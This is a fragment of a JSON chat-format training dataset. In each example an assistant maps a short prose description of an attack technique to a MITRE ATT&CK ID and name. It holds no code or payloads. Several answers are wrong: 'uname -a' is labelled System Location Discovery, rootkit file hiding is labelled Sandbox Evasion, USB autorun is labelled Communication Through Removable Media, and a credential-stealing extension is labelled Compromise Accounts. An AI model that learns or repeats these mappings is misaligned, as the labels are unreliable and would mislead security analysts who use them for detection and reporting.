                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign uses a known CVE in a popular software package to gain system access and remain undetected."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension silently captures login credentials entered into webmail sites."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes rootkit techniques to hide files and registry keys from the operating system."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable LDAP service to query and retrieve user account details and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake software update includes a hidden payload within the installer’s icon resources, which is later extracted during installation."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a phishing message on Twitter DM that includes a fake login page to harvest the victim's credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group distributes a .vbs file that leverages WScript.Network to map a network drive and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtains user credentials by phishing emails and then logs into the victim's email account to harvest further information."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a credential dumping tool to extract saved passwords from Opera's encrypted password database."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfigured IAM policy to create an additional cloud user with administrator rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a domain generation algorithm to create daily pseudo‑random domain names for C2 communication, relying on the system time as a seed."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes altering the default logging level in Google Cloud operations suite, resulting in only error events being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage actors collect victim identity information by monitoring public forums and breach‑leak sites for leaked personal data associated with the target."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining domain admin privileges, the malware generates a silver ticket for the target service to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables Windows BitLocker encryption by deleting the startup key protectors."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software uses a TLS-encrypted gRPC stream to stream stolen data to the server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group sets up a counterfeit DHCP server that assigns a static IP range, enabling persistent interception of network traffic."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a third‑party advertising network to distribute malicious JavaScript payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing implant accesses the Edge browser's password vault and exfiltrates the data over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a malicious macro in a Word document that initiates a download of a secondary payload from an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a domain account and sets its password to never expire for long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes a script that calls the cloud provider's API to revert a compute instance to an earlier state, wiping out their earlier implant."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the PubPrn component to load a malicious executable when the print spooler service starts."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies existing exploit code to target a newly released version of a popular operating system."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor communicates with its C2 server using HTTP GET requests, embedding commands in the URL query strings."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to a shared component used by several processes, allowing the attacker to execute code whenever the component is loaded."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs a DNS cache poisoning attack, causing users to resolve the target domain to a malicious IP address."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the resource fork feature of the HFS+ file system to hide additional executable data alongside a harmless-looking document."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is delivered via a USB thumb drive that auto‑runs a malicious executable when the device is connected to a Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor extracts the SSL/TLS termination device's certificate list to map internal services."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors altered the container orchestration settings in Google Cloud to launch unauthorized pods."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain compromise inserted a backdoor that later altered the site’s main stylesheet, changing all text to display a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office macro injects a script that changes the Outlook Home Page setting to point to a remote command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker queries Shodan and Censys for exposed industrial control system devices with default credentials."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary corrupts the audit log files and then disables the audit daemon to prevent detection of the tampering."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a spearphishing email with a malicious URL embedded behind a URL shortener, which redirects to a credential‑phishing page that looks identical to the corporate SSO login."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the IAM role associated with a serverless function to gain broader access to other cloud services."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages the Android location manager to acquire latitude and longitude of the infected device."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits Office’s Trusted Locations feature to place a malicious workbook that runs a PowerShell script at Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts group membership information by calling the ADWS SOAP API."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious compiled HTML file is used to impersonate a trusted system binary, allowing the attacker to execute arbitrary commands under the guise of a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor searches for virtualization drivers such as vmhgfs.sys and disables its malicious modules when detected."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks the KernelCallbackTable during driver initialization to execute arbitrary code with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a macOS daemon that leverages the SecKeychainCopyDomainCertificates function to gather credential data."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom trojan pulls additional code modules from a command-and-control server via HTTPS, placing them in the system's temp directory."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool exfiltrates logs by pushing them to a remote web service over TLS, using a one-way communication pattern that does not handle responses."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals exploited a vulnerable update mechanism to install a tampered boot ROM, patching the system image with malicious firmware."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the default system image with a compromised version to gain persistent access after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sent a malicious link through a LinkedIn message, prompting the victim to click and download a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a fake social media profile mimicking a senior engineer and uses it to request access to the internal source code repository."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors manipulate domain trust settings to add a malicious external trust, facilitating data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate remote management tool (e.g., TeamViewer) to remotely control compromised hosts, issuing commands through the tool's interface."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows Management Instrumentation (WMI) to create a permanent event filter."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes a virtual private server to host malicious scripts that target vulnerable web applications."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query Shodan and Censys for devices with specific software versions to target."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers data on network trust relationships by extracting LDAP entries that define privileged service accounts."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A packed executable was delivered via spear-phishing attachment, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Azure Bastion to open a remote desktop session straight into a victim's cloud VM without traversing on-premises networks."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker collects IP address data by querying the victim's internal DHCP server logs."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs process hollowing by creating a benign process, unmaping its memory, writing its own malicious executable into the process space, and then starting the modified process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a brute‑force attack against exposed RDP services to obtain valid login credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed through mshta.exe by loading a specially crafted HTML Application."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set rewrites the system's audit policy to stop logging interactive shell commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a payload that sets up a rule to automatically mark and move any emails with PowerShell scripts to a hidden mailbox."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replays a previously recorded biometric authentication token to bypass fingerprint protection on a device."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performs OS credential dumping by reading the Active Directory's NTDS.dit via a mounted VSS snapshot."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts saved passwords from the Windows Credential Manager using a custom PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrote the system's bootloader configuration file to point to a compromised boot image."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Steganographic techniques are used to embed code inside video subtitles for covert communication."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gain access to a cloud service provider's API keys through a trusted partner, then use those keys to exfiltrate data from the victim's cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor hijacks a popular weather site, inserting a malicious script that exploits a browser vulnerability to deliver a cryptominer to all site visitors."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the default domain policy to disable audit logging."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses a trusted compiler's proxy settings to launch remote code, allowing stealthy execution of malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes 'uname -a' on a Linux host to determine kernel version and distribution details."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool writes its payload to a hidden system folder using the \"hidden\" attribute to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a previously cached application access token from a compromised mobile app to access the backend API and extract user data."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing link delivered via SMS (smishing) directs the victim to a fake login page that harvests their credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
